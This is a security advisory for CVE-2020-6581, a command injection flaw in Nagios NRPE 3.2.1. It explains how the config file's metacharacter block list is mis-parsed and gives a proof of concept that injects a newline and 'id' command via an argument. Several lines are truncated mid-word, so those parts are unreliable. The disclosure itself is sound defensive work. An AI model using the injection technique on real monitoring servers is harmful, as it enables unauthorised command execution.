Advisory ID: usd-2020-0002
CVE Number: CVE-2020-6581
Affected Product: Nagios NRPE
Affected Version: v.3.2.1
Vulnerability Type: Insufficient Filterin
Security Risk: Medium
Vendor URL: https://www.nagios.org/
Vendor Status: Fixed in v.4.0.0 (not verified)

Description

Insufficient Filtering and incorrect parsing of the configuration file may lead to command injection.

Prerequisites

NRPE has to be compiled with command line parameter support. Additionally, dont_blame_nrpe option inside the NRPE configuration file has to be enabled.

Proof of Concept (PoC)

If NRPE is compiled with command line parameter support and if the corresponding option is enabled inside of the NRPE configuration file, NRPE are allowed to contain additional parameters that are passed as command line parameters to the configured monitoring scripts. In order to prevent exploitation by shell meta characters like ;|&$..., NRPE implements a default blacklist of nasty meta characters:

```
// file: src/nrpe.c line: 74
#define NASTY_METACHARS "|`&amp;&gt;&lt;'\\[]{};\r\n"
```

The same definition of nasty meta characters can also be found in the default configuration file:

```
// file: /etc/nagios/nrpe.cfg line: 267 - 271
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.

# nasty_metachars="|`&amp;&gt;&lt;'\\[]{};\r\n"
```

Unfortunately, while parsing the configuration file, special characters like ‚\n' inside the **nasty_metachars** variable are interpreted literally and loose their special meaning. E.g. ‚\n' will disallow the two characters ‚\' and 'n' instead of a newline.

Attack scenario: Imagine a server administrator wants also to add a wildcard (*) to the blacklist of not allowed characters. Most likely, he will just uncomment the **nasty_metachar** option from the configuration file and add his desired character like this:

```
// file: /etc/nagios/nrpe.cfg line: 267 - 271
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.

nasty_metachars="|`&amp;&gt;&lt;'\\[]{};\r\n*"
```

Despite looking reasonable, the NRPE service is now again vulnerable to command injections, as shown in the following example:

```
[pentester@kali ~]$ cat /etc/nagios/nrpe.cfg | grep -E 'nasty|POC'
nasty_metachars="|`&amp;&gt;&lt;'\\[]{};\r\n*"
command[check_POC]=/usr/lib/nagios/plugins/check_POC $ARG1$
[pentester@kali ~]$ cat /usr/lib/nagios/plugins/check_POC
#!/bin/bash
echo "[+] POC finished"

[pentester@kali ~]$
[pentester@kali ~]$ /usr/l                                    -a "$(echo -e "\nid")"
[+] POC finished

uid=998(nagios) gid=997(na
```


Fix

While parsing the **nasty_metachars** op

Timeline

- 2020-01-06 Tobias Neitzel found thi

This security vulnerability was discove

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.